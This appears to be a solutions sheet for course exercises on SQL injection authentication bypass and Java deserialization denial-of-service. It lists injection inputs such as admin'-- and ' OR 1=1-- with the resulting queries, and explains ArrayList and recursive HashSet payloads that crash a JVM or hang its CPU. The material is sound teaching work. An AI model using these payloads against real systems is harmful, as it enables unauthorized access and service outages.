Solutions

Exercises 2nd Semester

Exercise 3.1 (Authentication Bypass)

#	Username	Password	Created SQL Query	Query Result
1	`horst`	`n0Rd4kAD3m!E`	`SELECT id FROM users WHERE name = 'horst' AND password = 'n0Rd4kAD3m!E'`	`42`
2	`'`	`qwertz`	`SELECT id FROM users WHERE name = ''' AND password = 'qwertz'`	`Error`
3	`'--`	`abc123`	`SELECT id FROM users WHERE name = ''-- AND password = 'abc123'`	`null`

#	Username	Password	Created SQL Query	Query Result
4	`horst'--`	`qwertz`	`SELECT id FROM users WHERE name = 'horst'-- AND password = 'abc123'`	`42`
5	`admin'--`	`<anything>`	`SELECT id FROM users WHERE name = 'admin'`	`1`
6	`' OR 1=1--`	`<anything>`	`SELECT id FROM users`	`1`, `2`, ...

Exercise 6.1 (ArrayList Deserialization)

```
/**
 * The maximum size of array to allocate.
 * Some VMs reserve some header words in an array.
 * Attempts to allocate larger arrays may result in
 * OutOfMemoryError: Requested array size exceeds VM limit
 */
private static final int MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8;
```

Whenever an `OutOfMemoryError` occurs, the affected JVM crashes.

Exercise 6.2 (HashSet Deserialization)

```
i=0, root=[[], [foo]]
i=1, root=[[[], [foo]], [[], foo, [foo]]]
i=2, root=[[[[], [foo]], [[], foo, [foo]]], [[[], [foo]], foo, [[], foo, [foo]
i=3, root=[[[[[], [foo]], [[], foo, [foo]]], [[[], [foo]], foo, [[], foo, [foo
i=4, root=[[[[[[], [foo]], [[], foo, [foo]]], [[[], [foo]], foo, [[], foo, [fo
i=5, root=[[[[[[[], [foo]], [[], foo, [foo]]], [[[], [foo]], foo, [[], foo, [f
i=6, root=[[[[[[[[], [foo]], [[], foo, [foo]]], [[[], [foo]], foo, [[], foo, [
i=7, root=[[[[[[[[[], [foo]], [[], foo, [foo]]], [[[], [foo]], foo, [[], foo,
i=8, root=[[[[[[[[[[], [foo]], [[], foo, [foo]]], [[[], [foo]], foo, [[], foo,
```

💥 *With its members recursively linked to each other, when deserializing `root`, the JVM will begin creating a recursive object graph. It will never complete, and consume CPU indefinitely.*